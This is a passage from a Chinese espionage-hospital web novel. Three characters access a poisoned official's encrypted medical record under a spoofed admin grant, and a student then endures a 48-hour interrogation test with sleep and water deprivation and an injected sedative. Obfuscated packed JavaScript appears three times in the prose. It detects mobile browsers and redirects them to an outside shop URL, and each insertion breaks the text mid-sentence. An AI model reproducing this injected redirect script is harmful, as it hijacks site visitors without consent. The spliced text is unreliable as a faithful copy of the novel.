;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937044|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清病历 【03:47:11-IP:10.32.149.12(儿科医生工作站-5)-用户:关文晶-访问:加密病历区-三级权限-陈婉清病历 【04:22:08-IP:192.168.1.105(医学院学生宿舍网络)-用户:徐燕风(学生账号)-访问:加密病历区-三级权限-陈婉清病历 三个人,三个地点,三个时间点,访问同一个加密病历。 而且都成功了——这意味着他们要么有高级权限,要么有黑客手段。 “系统被入侵了?”尹柏萧问。 “不……不是入侵。”巴颂的声音更抖了,“是……是权限被临时提升了。有人用管理员账户,在凌晨两点五十九分,给这三个账号同时授予了临时三级权限,有效期到今早六点。然后……他们分别在权限有效期内访问了数据库。” 尹柏萧盯着屏幕:“谁授权的?” “账户名是一串乱码,X9F7#Q2T,我们查不到归属。但操作日志显示,授权指令是从医院内部网络发出的,物理位置是……是您的办公室。” 尹柏萧的瞳孔收缩。 他的办公室? “不可能。”他斩钉截铁,“我昨晚十点就离开了,今早六点才回来。办公室门锁着,监控呢?” 巴颂调出监控记录。尹柏萧办公室外的走廊监控显示:昨晚十点到今早六点,没有人进出他的办公室。 但办公室内部没有监控——这是规定,保护隐私。 “查网络记录。”尹柏萧说,“那个授权指令的具体路径。” 几分钟后,结果出来了:指令确实是从他办公室的固定IP地址发出的,时间凌晨两点五十九分整。但技术部分析发现,指令包有异常的数据包头——像是被篡改过,伪装成从他的地址发出。 “有人伪造我的IP。”尹柏萧得出结论,“而且这个人对医院网络非常熟悉,知道如何绕过安全协议,知道如何临时提权,还知道……如何栽赃。” 他放下平板,看向窗外。天刚亮,晨雾笼罩着医院,一切都显得朦胧而不真实。 三个人同时访问一份加密病历。 钟妍妍、关文晶、徐燕风。 他们各自代表什么?谁在调查?谁在掩护?谁在……布局? “这件事还有谁知道?”尹柏萧问。 “目前只有我和网安部的两个人。”巴颂说,“但数据库访问记录是自动备份的,如果上面有人来查……” “封存记录。”尹柏萧打断,“把原始日志加密,存到离线服务器。对外就说系统凌晨升级,部分日志丢失。明白吗?” “可是尹教官,这违规……” “按我说的做。”尹柏萧的语气不容置疑,“另外,今天上午十点,召集这三个人到第三会议室。就说……例行网络安全谈话。” 巴颂点头,匆匆离开。 尹柏萧坐回椅子,揉了揉太阳穴。头疼。 他想起这三个人最近的表现:钟妍妍在训练徐燕风,关文晶在调查钟妍妍,徐燕风在两边之间摇摆。 而现在,他们同时访问了同一份病历。 巧合?不可能。 是有人故意把三股线拧在一起,想看看会擦出什么火花? 还是……这三个人其实在暗中合作? 他拿起电话,拨了一个加密号码。响了七声后接通。 “是我。”尹柏萧说,“医院这边出事了。三个人同时碰了不该碰的东西。” 电话那头沉默了几秒,然后是一个低沉的声音:“哪三个人?” “钟妍妍,关文晶,徐燕风。” “目标病历?” “陈婉清,政府机要秘书,传闻疑似被毒害的那个。” 电话那头传来一声轻微的叹息:“我早就说过,钟妍妍太激进,锯鳞蝰太固执,那条新蛇……还不确定毒性。你把它们放在一个窝里迟早会互咬。” “现在怎么办?”尹柏萧问,“如果这件事传到上面,三个人都会被军方调查。钟妍妍和关文晶都有背景,可能压得住。但徐燕风只是个学生,他会成为牺牲品。” “所以你要保他?” “我……”尹柏萧犹豫了。徐燕风是他的学生(现在不是,以后会是),虽然痞些,但本质不坏。而且这一个月,他确实看到了徐燕风的改变——更冷静,更敏锐,更像一个……可造之材。 “不要太善心!保不住三个。”电话那头的声音很冷静,“最多保两个。你要选:尖吻蝮和锯鳞蝰既然都有背景,新蛇还没成型,可以放弃。” 尹柏萧握紧电话:“如果我说,我想试试保三个呢?” “那就做好一起沉船的准备。”对方说,“这个案子涉及政府高层,……水太深,你一个扛不住。哪怕你是森蚺,也会有天敌美洲虎!” 电话挂断。 尹柏萧放下听筒,看着窗外逐渐明亮的天空。 保三个? 他苦笑。他自己都不知道为什么要这么做。 也许是因为,在特训处多年,他见过太多学生变成医生,变成官僚,变成追逐名利的人。但徐燕风不一样——他有某种东西,某种还没被完全磨灭的……光。 27. 三方情报碰撞 还有钟妍妍和关文晶,虽然各有各的问题,但至少,她们在做自己认为对的事。 在这个浑浊的世界里,能坚持做自己认为对的事,已经很难得了。 他站起身,整理了一下外套。 上午十点,第三会议室。 --- 九点五十分,钟妍妍先到。她穿着标准的白大褂,头发整齐地盘起,脸上没有任何妆容,看起来冷静专业。她在长桌一侧坐下,拿出一个笔记本,开始写东西——不是假装,是真的在写病历。 九点五十五分,关文晶进来。她也穿着白大褂,但外面套了一件浅灰色的开衫,手里拿着一个保温杯。她在钟妍妍对面坐下,两人对视了一眼,没有打招呼,各自移开视线。 十点整,徐燕风进来。他穿着高中的运动服,背着书包,看起来像个普通的学生。他在长桌末端坐下,离两个女人都有一定距离。 尹柏萧坐在主位,面前放着一个文件夹。他没有立刻开口,而是轮流看了三个人一遍。 “今天叫你们来,是因为凌晨发生了一件事。”他开门见山,把平板电脑推到桌子中央,屏幕亮着,显示着那三条访问记录,“三点到五点之间,你们三个人,从三个不同的地点,访问了同一份加密病历。谁能解释一下?” 会议室里安静了几秒。 钟妍妍先开口,声音平静:“我在查一个妇科病例的关联信息。陈婉清女士虽然现在仁爱医院,但她三年前在我们妇科做过体检,有一些历史数据可能对诊断有帮助。我申请了临时权限,合规操作。” “合规?”尹柏萧挑眉,“三级加密病历,需要四级权限才能访问。你的临时权限是谁授权的?” “系统自动授权的。”钟妍妍面不改色,“我提交了临床需要申请,系统根据我的职称和工作年限,自动提升了权限。这是医院的新规定,上个月才实施的,为了在紧急情况下加快医疗决策。” 她说得有理有据,而且确实有这项规定——虽然很少人知道。 尹柏萧转向关文晶:“文晶呢?” 关文晶喝了口茶,放下保温杯:“儿科最近收治了一个患儿,症状和陈婉清女士的初期表现类似:不明原因的乏力、皮下瘀斑、血象异常。我需要参考类似病例的诊疗过程,所以申请调阅。也是系统自动授权。” “也是系统自动授权?”尹柏萧重复。 “是的。”关文晶点头,“如果你有疑问,可以查系统日志,看我的申请记录和授权记录。” 尹柏萧最后看向徐燕风:“你呢?一个学生为什么需要访问三级加密病历?” 徐燕风早就准备好了说辞:“我是昨晚在图书馆查资料时,无意看到系统里有相关病例索引,就尝试申请了一下,没想到通过了。我当时还以为所有学生都有这个权限,不知道是加密的。” 他说得很自然,带着学生特有的那种“不小心闯了祸”的无辜感。 尹柏萧看着这三个人,一个比一个镇定,一个比一个理由充分。这不愧是狡猾的蛇。 如果不是他提前知道内情,可能真的会被糊弄过去。 “有意思。”他合上文件夹,“三个人,三个完全不同的理由,但都合情合理。而且都提到了‘系统自动授权’。可据我所知,系统自动授权只针对二级及以下加密病历,三级以上需要人工审批。” 他顿了顿:“更重要的是你们三个的访问时间,几乎覆盖了整个凌晨时段。钟医生三点多,文晶四点多,徐燕风四点多……像接力赛一样。这是巧合,还是有计划的协同行动?” 这个问题像一颗石子,扔进了平静的湖面。 钟妍妍和关文晶同时看向对方,眼神里都有警惕。徐燕风则低下头,假装整理书包。 “尹教官是在暗示我们串通吗?”钟妍妍问。 “我只是在陈述事实。”尹柏萧说,“而且还有另一个事实:授权你们访问的那个管理员账户,X9F7#Q2T,在授权完成后就注销了,查不到归属。但操作记录显示,指令是从我办公室的IP地址发出的。而我昨晚并不在办公室。” 他盯着三个人:“有人伪装成我,给了你们权限。这个人,对医院网络极其熟悉,对你们三个的工作习惯和需求也极其了解。这个人可能就是你们中的一个,也可能……是你们都知道的某个人。” 会议室里死一般寂静。 窗外的阳光透过百叶窗,在桌上切出一道道光影。灰尘在光线中飞舞,像无数细小的秘密。 钟妍妍最先打破沉默:“尹教官,您到底想说什么?” “我想说,”尹柏萧站起身,走到窗边,背对着他们,“这个医院里,正在发生一些我看不懂的事。有人在调查陈婉清的病例,有人在跟踪调查的人,有人在中间搅混水。而你们三个,都在这个旋涡的中心。” 他转过身,眼神锐利:“我不在乎你们各自的目的是什么,我也不在乎你们背后站着谁。我只在乎一件事:这个医院不能乱。医学院不能乱。如果你们的行为威胁到了医院的安全和声誉,我会采取一切必要措施。” “包括什么措施?”关文晶问。 “包括申请暂停你们的工作,暂停徐燕风的学籍,启动内部调查,把一切都摆在明面上。”尹柏萧说,“到时候,你们各自的秘密可能就保不住了。” 这是威胁,但也是警告。 钟妍妍笑了,笑容里带着嘲讽:“尹教官您觉得把一切都摆在明面上,对谁有好处?对医院?对医学院?还是对……那些藏在幕后的真正黑手?” “什么意思?” “陈婉清的病例之所以被加密不是因为她身份特殊而是因为有人不想让真相曝光。”钟妍妍也站起来,“她不是得了罕见的白血病而是被毒害的。而下毒的人,可能就在政府高层,甚至可能……就在决定她治疗方案的仁爱医院里。” 关文晶接上:“而那份加密病历里有证据有异常的化验结果有矛盾的治疗记录,有被删除的医嘱。有人在试图掩盖,而我们……在试图揭开。” 徐燕风抬起头,看着尹柏萧:“如果有一个人可能被谋杀,而我们有机会阻止,我们应该怎么做?遵守规定,视而不见?还是……冒险一试?” 三个人,三句话,三个角度。 但指向同一个方向:他们在做对的事,哪怕方法不对。 尹柏萧沉默了。 他想起电话里那句话:“水太深,你一个扛不住。” 但也许……不需要他一个人扛。 也许这三个人,各自有各自的资源和能力,可以做到他做不到的事。 “我需要证据。”他最终说,“不是推测不是怀疑,是确凿的证据。证明陈婉清是被毒害的,证明有人在掩盖,证明你们的行动是必要的。” “如果我们有证据呢?”钟妍妍问。 “那我会帮你们。”尹柏萧说,“不是公开地帮,是暗地里。提供掩护,提供资源,提供……一个安全的后方。” 他看向三个人:“但有一个条件:你们三个必须信息共享。不能各自为战,不能互相隐瞒。如果你们真的想做成这件事,就要学会合作。” 合作? 钟妍妍和关文晶对视了一眼,眼神复杂。她们斗了这么久,要合作?徐燕风也愣住了。他要同时面对两个“教官”,还要在中间协调? “给你们二十四小时考虑。”尹柏萧一脸严肃地说,“明天上午十点,同样的时间,同样的地点。如果你们同意就带着各自的证据来,我们制定计划。如果不同意就给我打住。到此为止。” “散会。” 三个人起身离开。在门口,钟妍妍和关文晶同时停下,让徐燕风先走。等徐燕风走远了,两人才并肩走出会议室。 走廊里,关文晶低声说:“你信他吗?” “尹教官?”钟妍妍反问,“奇怪了!听说你和他很熟。很早就有交情了不是?你不是应该比我更相信他!” “我说的是徐燕风!” 钟妍妍沉默了几秒:“我训练他但我不知道他到底站在哪边。也许他自己也不知道。” “那他今天为什么访问病历?” “也许是想知道我们在查什么。”钟妍妍说,“也许是想证明自己的能力。也许……只是好奇。” 她们走到电梯口,电梯门打开,里面空无一人。 关文晶先走进去,按住开门键,等钟妍妍进来。 电梯门关上,轿厢开始下行。 “如果我们真的合作,”关文晶看着楼层数字,“你要告诉我,你老子的事。” 钟妍妍的身体僵了一下:“为什么?” “因为那是你的动机。”关文晶说,“而我需要知道我的合作对象,到底是为了正义,还是为了个人复仇。” 钟妍妍没有立刻回答。电梯到了三楼,门打开,又关上,继续下行。 “抱歉。”她最终说,“因为壁垒问题,我不能说太多。” “好。那就到此为止吧。” 电梯到了一楼,门打开。两人走出去,一个向左,一个向右,分道扬镳。 像两条相交后又分开的线。但至少,她们有过交点。而那个交点,可能会改变很多事情。包括这个医院的未来。包括某些人的生死。 包括……她们自己的命运。 —————————————————— 周五晚上八点,医学院废弃的旧实验楼地下室。 这里原本是生物实验室,后来设备搬走只剩下空荡荡的房间和生锈的水槽。钟妍妍把它改造成了模拟审讯室:房间中央一把固定在地面的金属椅,椅子对面一张长桌,桌上一盏可调节的台灯,墙角一台老旧的空调正对着椅子吹出低温的风。 徐燕风坐在椅子上,双手被塑料束带反绑在椅背后,脚踝也用束带固定在椅子腿上。他穿着普通的运动服,头发凌乱,脸上有汗——不是因为热,是因为空调温度调得太低,身体在应激反应下不由自主地出汗。 他已经在这里坐了六个小时。 不是静坐,是“审讯”。 钟妍妍找来的“审讯者”——一个他从未见过的中年男人,穿着便服,脸上没有任何表情——从下午两点开始用各种方式问他问题。有些问题重复,有些问题刁钻,有些问题带着明显的陷阱。 “你和钟妍妍什么关系?” “她教了你什么?” “你替她做过什么任务?” “陈婉清的病历里有什么?” “关文晶在调查什么?” 徐燕风按照训练的内容回答:简短,模糊,不提供多余信息,不承认任何实质性内容。他的心跳、呼吸、微表情都被墙角的摄像头记录着,钟妍妍在隔壁房间通过监控观察。 前四个小时,他还能保持冷静。但第五个小时开始,疲劳和压力开始侵蚀意志。审讯者不再问新问题,而是重复同样的问题,用不同的语气,不同的节奏,有时突然沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不说话?”钟妍妍笑了,笑容里没有温度,“那我说点你感兴趣的事。关文晶。”她换了个方向,“你以为她在帮你?在给你‘另一条路’?她从小在那个家庭长大,她接受的价值观、她相信的‘正义’、她维护的‘秩序’,都是建立在官僚阶级的利益之上的。她现在对你好可能只是另一种形式的控制——把你变成关家需要的‘工具’,而不是钟妍妍需要的‘工具’。区别只是,她的工具看起来更光鲜,更合法。” 徐燕风睁开眼睛,看着钟妍妍。她的脸上没有愤怒,只有一种深沉的疲惫。 “所以你现在明白了吗?”钟妍妍说,“这个世界没有绝对的好人,也没有绝对的坏人。每个人都在为自己的利益、自己的信念、自己的仇恨而战。你选择站在哪一边,不是选择正义,是选择你认为值得效忠的……恶。” 她站起身走到门口:“休息时间结束。接下来的二十四小时,你会经历更残酷的测试。食物、水、睡眠都会被剥夺,审讯会升级,压力会更大。如果你撑不住,可以随时说‘终止考核’,我会放你走。但那就意味着你失败了。” 门关上。 房间里又只剩下徐燕风一个人。 空调的风更冷了。 --- 时间:周六凌晨三点。 徐燕风已经十九个小时没睡,十五个小时没吃东西,十个小时没喝水。嘴唇干裂,眼睛布满血丝,手腕和脚踝被束带磨破了皮,火辣辣地疼。 审讯者回来了,还带了两个人。一个端着摄像机,全程录像;另一个拿着一个工具箱,里面是各种奇怪的设备——不是刑具,但看起来更可怕:皮肤电反应检测仪、心率监测带、瞳孔追踪摄像头。 “第二轮。”审讯者说,声音没有任何感情,“这次我们换个方式。你不说话,我们说话。你只需要听,然后……你的身体会告诉我们答案。” 他开始播放录音。 “反应明显。”审讯者记录,“继续。” 第一段:是关文晶的声音,真实:“徐燕风有潜力,但还不够稳定。我需要先取得他的信任,然后慢慢引导他为我们所用。政保局需要这样的人才……” 这次的声音自然得多,带着关文晶特有的冷静和理智。徐燕风不确定这是真是假。可能是剪辑的,也可能是关文晶真的说过类似的话——在某种场合下。 心率:92。 第二段:是钟妍妍的声音,但内容让他震惊:“……徐燕风只是棋子,用完就丢。他知道得太多,早晚要处理掉。等他完成最后一个任务,就安排‘意外’……” 钟妍妍的声音很平静,平静得像在讨论天气。徐燕风知道这可能是假的,但脑子里忍不住想:万一呢?万一钟妍妍真的是这么想的呢? 心率:105。 “好了,休息五分钟。”审讯者说,然后三个人离开房间。 徐燕风靠在椅背上,喘着气。他知道自己在被心理攻击,知道那些录音可能都是假的但身体的本能反应骗不了人——恐惧、怀疑、愤怒,都在那些飙升的数字里体现出来了。 门又开了。 这次进来的居然是何念曦! 他兴冲冲地走到徐燕风面前,蹲下,握住他的手——他的手还被绑着。 “燕风……你到底什么时候有空?发现了一个很耀好玩的麻将馆!一起去吧?” 徐燕风看着他。那张脸太真实了,眼睛嘴巴耳朵甚至睫毛的长度,都和记忆里一模一样。 但钟妍妍教过:在高压审讯中,对方可能会用你最在意的人作为武器。可能是真人,可能是替身,可能是幻觉——通过药物或催眠诱导。 “你不是何念曦。”他说,声音嘶哑但坚定。 28. 生存游戏 “燕风,怎么了?我是何念曦啊!你记得吗,上周在快餐店,你借给我一本日漫,还说等考完试一起去吃寿喜烧不是……” 细节都对。 徐燕风感觉脑子在发晕。是疲劳导致的幻觉?还是他们真的抓了何念曦? 太真实了。 徐燕风闭上眼,深呼吸。钟妍妍说过:当怀疑压倒理智时,回到原点。原点是什么?是事实。事实是:何念曦昨天就回他那所贫民窟学校补习去了。不可能在这里絮絮叨叨。事实是:钟妍妍不会用这么低级的手段——抓人质威胁。事实是:这一切都是测试的一部分。 他睁开眼,看着假何念曦:“你不是何念曦。你的左耳垂上有一颗痣,何念曦没有。你的声音比他高半个调。而且……” 他停顿了一下:“何念曦从来不叫我‘燕风’,他叫我‘风哥’。” 假何念曦愣住了,然后表情变了——从悲伤变成冷漠,甚至带点欣赏。他站起身,擦了擦眼泪:“不错。细节观察到位。” 他转身离开。门关上。 徐燕风感觉脑子里有什么东西在嗡嗡作响。疲惫、饥饿、脱水、心理压力……所有东西混合在一起,像一锅煮沸的毒药。 他不知道还能撑多久。 --- 时间:周六晚上十点,第38小时。 徐燕风被转移到了另一个房间。这次不是椅子,是一张狭窄的行军床,但他还是被绑着只是姿势从坐着变成躺着。房间里没有灯只有墙角一个红色的指示灯,像一只眼睛在黑暗中注视着他。 审讯者没有出现。取而代之的是各种感官干扰:刺耳的白噪音,频率不断变化;闪烁的强光,毫无规律;时冷时热的气流,交替吹在他脸上。 这是睡眠剥夺的进阶版——感官过载,让大脑无法休息,也无法集中。 徐燕风感觉自己像漂浮在黑暗的海洋里,时而沉下去,时而浮起来。脑子里闪过各种碎片:母亲辛苦工作的背影,父亲沉默的脸,何念曦的笑容,关文晶锐利的眼神,尹教官凶巴巴的教导…… 还有那些任务:送U盘,查档案,躲伏击,传情报…… 他为什么要做这些? 为了钱?为了刺激?为了……证明自己? 还是因为,他真的相信钟妍妍说的:这个世界需要一些在阴影里做事的人? 他不知道。 他只知道,现在很累,很疼,很冷,很饿。 他想睡觉。 想喝口水。 想结束这一切。 “终止考核”四个字在嘴边打转,几乎要脱口而出。 但另一个声音在脑子里说:不行。撑住。已经三十八小时了,只剩十小时。撑过去,你就证明了自己。撑过去,你就真正成为“眼镜蛇”。 那个声音,像钟妍妍的,也像他自己的。 他咬破舌尖,用疼痛保持清醒。 血的味道,咸腥,像这个城市的味道。 --- 时间:周日下午两点,第42小时。 门开了。 钟妍妍走进来,手里拿着一瓶水和一块面包。她走到床边,解开徐燕风手腕和脚踝的束带。皮肤已经被磨破,渗出血丝。 “坐起来。”她说。 徐燕风挣扎着坐起,浑身都在抖。钟妍妍把水递给他,他接过,手抖得洒了一半。他小口喝了几口,水像甘露,滋润了干裂的喉咙。 然后她递给他面包。他接过,慢慢吃。面包很干,但此刻像盛宴。 “这是最后六小时。”钟妍妍说,“不是审讯,是谈话。你和我。” 她在床边坐下,看着徐燕风。他的脸色苍白,眼窝深陷,但眼神依然有光——疲惫,但未熄灭。 “为什么撑到现在?”她问。 “因为……你说过,毒牙只在必要时露出。”徐燕风的声音几乎听不见,“现在……就是必要的时候。” “什么是必要的时候?” “证明我……能控制毒牙的时候。”徐燕风说,“证明我……不会在压力下崩溃,不会背叛,不会……变成废物。” 钟妍妍沉默了很久。 然后她说:“你知道我最怕什么吗?” 徐燕风摇头。 “我最怕你变成我。”钟妍妍的声音很轻,轻得像叹息,“怕你学会所有技巧,变得冷静、精确、致命,但……失去温度。怕你变成一把刀,只记得如何切割,忘了为什么要切割。” 她看着徐燕风:“这四十二小时,我一直在观察你。你做得很好,比我想象的好。但我也看到了危险——你在适应。适应痛苦,适应孤独,适应怀疑。适应得太快了。快到我担心,有一天你会觉得这一切……正常。” 徐燕风没有说话。他不知道该说什么。 “最终考核还剩六小时。”钟妍妍站起身,“但这六小时,你可以选择不继续。你已经证明了你的意志力和忠诚度。现在退出,依然是‘合格’。” “如果继续呢?” “继续,就是地狱模式。”钟妍妍说,“我会亲自审你,用我知道的所有方法,攻击你所有弱点。如果你撑过去了,你就是‘优秀’。但代价可能是……心理创伤,可能需要很长时间恢复。” 她顿了顿:“选吧。” 徐燕风看着手里的半块面包,又看看钟妍妍。 他想起了这一个月的一切:情绪管理课,抗压训练,反审讯模拟,行为分析实践,第一次实战任务,和关文晶的对峙,三方情报碰撞…… 他走了这么远,不是为了在最后一步停下。 “继续。”他说。 钟妍妍点点头,没有表扬也没有劝阻。她从口袋里拿出一支注射器:“这是营养剂和微量镇静剂,能让你保持清醒但放松。接下来的六小时,你需要它。” 她给徐燕风注射。液体流入静脉,带来一阵清凉感,疲惫稍微缓解。 “躺下。”她说,“闭上眼睛。听我说话。” 徐燕风躺下,闭上眼。 钟妍妍的声音在黑暗中响起,平静,柔和,像在讲睡前故事: “从前有一条小蛇,它生来就有毒牙,但不知道该怎么用。它见过其他蛇用毒牙捕猎,用毒牙自卫,也用毒牙……互相残杀。它很困惑,不知道毒牙是好是坏。直到有一天,它遇到一条老蛇……” 她的声音渐渐模糊。 徐燕风感觉自己在往下沉,沉进柔软的黑暗里。 钟妍妍还在说话,但内容已经听不清了。 他只记得最后一句: “……记住,毒牙是你的工具,不是你的本质。永远不要忘记,你首先是人,然后才是蛇。” 然后,黑暗彻底吞噬了他。 但他知道,这不是结束。 是另一个开始。 六小时后,当钟妍妍宣布考核结束时,徐燕风已经处于半昏迷状态。他只模糊地记得自己被扶起来,喝了些东西,然后被送到一个安静的房间,躺在床上。 钟妍妍站在床边,看着他说:“你通过了。从今天起,你开始具备眼镜蛇的特质。” 然后她离开,关上门。 房间里一片黑暗。 徐燕风躺在床上,睁着眼睛看着天花板。 脑子里空荡荡的,像被洗过一样。 但某个地方,有什么东西正在重新组装。 像蛇在蜕皮。 褪去旧的,长出新的。 更坚硬,更冷静。 也更……孤独。 他翻了个身,蜷缩起来。 窗外,天快亮了。 新的一天即将开始。 而新的徐燕风,也即将醒来。 周一上午九点,圣保罗医院顶楼那间闲置的会议室。 徐燕风推门进去时,房间里已经布置好了——不是审讯室,也不是训练场,而像一个正式的评估室。中央那把金属椅不见了,取而代之的是一张舒适的皮质扶手椅,对面是一张实木办公桌,桌上放着一台笔记本电脑、一个文件夹,还有两个杯子——一杯咖啡,一杯茶。 钟妍妍坐在办公桌后,今天她没穿白大褂,而是一身深灰色的职业套装,头发整齐地盘起,脸上化了淡妆,看起来比平时更正式,也更……遥远。 “坐。”她指了指那张扶手椅。 徐燕风坐下。皮质很软,但他坐得很直,双手放在膝盖上,眼神平静地看着钟妍妍。 过去四十八小时的“最终训练”留下的痕迹还在:眼下的乌青,干裂的嘴唇,手腕上束带磨出的红痕。但他的神态变了——不再是那个会紧张、会犹豫、会试探的医学生,而是一种近乎冷漠的镇定。 像蛇在蜕皮后,新生的鳞片在阳光下泛着冷硬的光泽。 钟妍妍打开文件夹,里面是厚厚一沓评估报告。她翻了翻,没有立刻说话,而是先拿起茶杯,抿了一口,然后才抬眼看向徐燕风。 “最终评估报告。”她开口,声音是公事公办的平稳,“过去六周,共计四十二个训练课时涵盖情绪管理、压力应对、反审讯技巧、行为分析、情报获取、基础格斗、武器识别、通讯安全等八个模块。你完成了所有训练内容并通过了最后的四十八小时生存测试。” 她抽出一张纸,推到他面前:“这是你的成绩单。” 徐燕风拿起那张纸。上面没有分数,只有几个等级的评估: 情绪稳定性:A- 压力耐受性:A 观察分析能力:A+ 信息筛选能力:B+ 应变决策能力:A- 忠诚度评估:A 风险控制意识:B+ 综合评定:合格,准予结业。 最下面有一行手写的小字,笔迹刚劲有力:“具备独立执行中等风险任务的能力,可进入实战序列。” 徐燕风放下纸,抬头:“‘合格’?我以为会是‘优秀’。” “优秀是给完美的人的。”钟妍妍说,“而你不是完美的人。你还有弱点——对何念曦的情感牵绊,对‘正义性’的潜在执念,以及在极端压力下偶尔会出现的‘道德犹豫’。这些在任务中都可能是致命的。” 她顿了顿:“但‘合格’已经足够。在这个行业里,大多数人连合格都达不到。” 她合上文件夹,打开办公桌抽屉,拿出一个黑色的金属盒,推到徐燕风面前。 “你的‘毕业礼物’。” 徐燕风打开盒子。里面有一把小巧的陶瓷匕首,刀身纯黑,刃口极薄,手柄有防滑纹路——这不是武器,是工具,用于切割、开锁、或者必要时自卫。 “匕首是工具不是玩具。”钟妍妍说,“记住不是万不得已,千万不要拿出来。” “你知不知道眼镜蛇的特点是什么?”钟妍妍继续说,“安静,隐蔽,不主动攻击,但一旦昂起头,就能让所有对手感到威胁。它的毒牙短但致命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937046|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,攻击时快准狠,不会浪费多余动作。” 她看着徐燕风:“这就是我对你的期望也是尹教官对你的期望……” 六周的训练,四十八小时的最终测试,已经把他骨子里那些天真的、柔软的、容易信任的部分,磨掉了一大半。剩下的,是更坚硬、更冷静、也更孤独的东西。 “还有其他事吗?”他问。 “有。”钟妍妍从文件夹里抽出一张照片放在桌上,“这个人,你认识吗?” 照片上是一个中年男人,戴着眼镜,面容和善。徐燕风摇头:“不认识。” “他是瑆洲通信委员会的副会长,艾力绅.张。”钟妍妍说,“上周四凌晨,那个伪造IP地址、给我们三个临时权限的人,网安部追踪到最后,操作源头指向他的个人电脑。但他声称电脑那天晚上被盗了,已经报警。” “你信吗?” “我不信。”钟妍妍说,“但我没有证据。而且,这个人背景很深——他妻子是政府某高官的女儿,动他需要很小心。” 她看着徐燕风:“你的最后一个任务,就是调查他。弄清楚他到底在为谁工作,为什么要给我们权限,以及……他和陈婉清的病例有什么关系。” 徐燕风拿起照片,仔细看。张明远,约莫五十岁,有点发福,笑容温和,看起来就像医院里随处可见的那种老好人…… 但往往看起来最无害的人,藏着最深的秘密。 “时限?”他问。 “两周。”钟妍妍说,“两周后,我要一份完整的调查报告:他的日常行踪、通讯记录、财务状况、社交网络。不能打草惊蛇,不能使用暴力,只能用观察和渗透。” “明白。” “任务期间,我会提供技术支持——加密通讯、设备支援、必要时的情报协助。但主要行动靠你自己。这是对你能力的全面测试。” 徐燕风点头,把照片收进口袋。 钟妍妍站起身,走到窗边。窗外,阳光很好,医院庭院里患者和家属在散步,医护人员匆匆走过,一切看起来那么平静,那么正常。 “徐燕风,”她背对着他说,“有句话,我在训练期间一直没说,但现在该说了。” “什么?” “欢迎来到真实的世界。”钟妍妍转过身,脸上没有任何表情,“这个世界没有黑白,只有灰;没有绝对的对错,只有选择和代价;没有永远的盟友,只有暂时的利益一致。在这里活下去,并且做好该做的事,就是最大的成功。” 她走回办公桌旁,从抽屉里拿出一个信封推给徐燕风:“这是你过去六周的‘津贴’。不多但够你买几件像样的衣服,吃几顿好饭。” 徐燕风拿起信封,没有打开看厚度,直接放进口袋。 “谢谢。” “不用谢我。”钟妍妍说,“这是你应得的。你付出了时间,付出了努力,付出了……一部分自我。这是报酬,也是补偿。” 她顿了顿:“现在,你可以走了。一周后再联系。这一周,忘记训练,忘记任务,忘记我。去当个普通学生。” 徐燕风站起身,拿起那个黑色金属盒,走向门口。 手放在门把上时,他停住了。 “钟医生,”他没有回头,“最后一个问题。” “说。” “你后悔吗?”徐燕风问,“后悔走上这条路,后悔成为‘尖吻蝮’,后悔……把我变成现在这样?” 钟妍妍沉默了很久。久到徐燕风以为她不会回答了。然后他听见她的声音,很轻,但很清晰:“后悔没有用。我选了这条路,就要走到底。至于你……我没有‘把你变成这样’。我只是给了你选择,而你自己选择了变成这样。” 她顿了顿:“所以,别问我后不后悔。问你自己:后悔吗?” 徐燕风没有回答。 他拉开门,走了出去。 门在身后轻轻关上。 走廊里空无一人,只有他的脚步声在回荡。 他走到电梯口,按下按钮,等待。电梯门上的不锈钢映出他的脸——苍白,疲惫,但眼神坚定,甚至有点……冷。 像蛇的眼睛。 没有温度,只有专注。 电梯来了。他走进去,按下医学院的楼层。 轿厢下降,失重感让他稍微晃了一下,但他站得很稳。 他想起钟妍妍的话:“欢迎来到真实的世界。” 真实的世界。 不是医学院的课堂,不是医院的白大褂,不是网球场的阳光。是阴影,是秘密,是交易,是危险。也是……力量。 他握紧口袋里的金属盒,感受着匕首的轮廓……从今天起,他是徐燕风。也是具备眼镜蛇特质的“小蛇”。 两个身份,两种人生。 他要学会在两者之间切换,学会在阳光下行走,也在阴影里潜行。 电梯门打开,医院一楼的明亮大厅出现在眼前。护士们匆匆走过,教授在走廊里讨论问题,广播里在通知下午的讲座。 一切如常。 但徐燕风知道,从今天起,这一切对他来说,都只是背景。 是伪装。 是舞台。 而真正的戏,在幕布后面。他走出电梯融入人群。脚步很轻,几乎无声。像蛇滑过草地。 悄无声息。但已经准备好了,随时露出毒牙。这就是毕业。 这就是觉醒。 小蛇,孵化了。…… 29. 停车场再现 